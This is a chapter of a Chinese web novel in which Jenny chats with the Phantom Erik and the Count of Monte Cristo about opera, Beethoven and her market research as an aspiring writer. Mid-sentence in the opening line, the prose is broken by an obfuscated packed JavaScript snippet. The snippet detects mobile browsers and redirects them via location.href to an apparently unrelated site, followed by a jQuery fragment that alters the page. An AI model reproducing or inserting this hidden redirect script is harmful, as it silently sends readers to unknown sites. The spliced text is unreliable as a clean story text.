她颇有些迫不及待道:“我想您没停止攀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14959578|151697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 登艺术的高峰。” “能得您的夸奖真是荣幸之至。”还是熟悉的刻薄味道:“你之前还怀疑我的艺术成就,现在又称我没停止精进技艺。” “您要是能解答我的小小疑问,我也不会继续抛出前后矛盾的话。”与他相比,黑心的巴贝先生都可爱的多。 埃里克仍没有回答,眯起的眼睛像是一百年后的扫描仪,从珍妮脸上析出她的内心所想。 大门的风铃再次作响,可珍妮的注意力一直都在对面身上。 “……博林小姐?” 又是一道熟悉的声音。 她舍得把目光挪开,结果看到辣眼睛的八字胡与昨日见过的熟悉眉眼:“伯爵大人。” 埃里克向新来的客人脱帽示意,显然是与对方有点浅薄交情。 “您也是看今天下午的《奥菲欧与尤丽狄茜》?”基督山伯爵彬彬有礼地请示后也坐到桌旁,转头看向埃瑞克道。 “显而易见。”埃里克在基督山伯爵前打开话匣,“巴黎已经很久没有新作品了,现在居然要吃德国的残羹冷炙。” “路德维希·凡·贝多芬是个天才。” “于音乐上讲,他确实是天才中的天才。”难得听见魅影会在音乐上称赞某人,“但他极少为歌剧作曲。巴黎最火热的剧目仍是《塞维利亚的理发师》。”他又变回刻薄的人,“法国的蓝本,意大利的作曲,首演遭到无数漫骂,之后才广受好评。乔瓦尼·帕伊谢洛(意大利作曲家,在焦阿基诺·安东尼奥·罗西尼之前为《塞尔维亚的理发师》作曲,并且因为罗西尼为《塞尔维亚的理发师》作曲而写信挖苦这个后辈)也只是在新版上演的前三天得意洋洋,之后便鲜有人会记得他的成名之作。” “好在他有别的作品,也不算是岌岌无名。”基督山伯爵终于意识到桌旁还有另一个人,“博林小姐,您不忙着去写稿子,跑到这儿做什么?” “做市场调查。” “市场……调查?” 基督山伯爵对珍妮可要温柔的多:“愿闻其详。” “就是根据杂志、报刊的销量以上面刊登的内容分析流行趋势。和羊毛商看草料价格,木桶商看葡萄价是一个道理。”珍妮把上午的成果递给基督山伯爵,“我总不能举着令尊的推荐信挨个敲门。” 基督山伯爵知道珍妮想当作家,但也只当她是个有一腔热血的黄毛丫头。因为那种拿到推荐信就到处敲门的菜鸟他已见得太多。突然看见没有因此激动过头,而是分析就业市场,受众喜好的珍妮也是耳目一新——看来她是真想混出一番名堂。而且就她目前的架势,搞不好在作者外能另谋它路。 “这个是你自己做?”基督山伯爵翻到最后的评判体系。 埃里克对珍妮的事没一点兴趣,奈何他为远离珍妮完全挨着基督山伯爵,所以瞥到珍妮设计的打分体系。 你别说,你还真别说。 这一条条,一列列地看下来还真有几分可信度。 “你为何选歌剧院区做市场调查?” “歌剧院区的都是新兴阶层与艺术爱好者,对书籍,报刊的需求高于其它地区,而且不少书商、作者都会来这儿推销各种新作。除了歌剧院区,我还想去证券街和拉丁区,圣奥雷诺区、圣拉扎尔区做些调查。”珍妮竖起一根手指,“知己知彼,百战百胜。斯帕达伯爵既给了机会,我就不能浪费它。”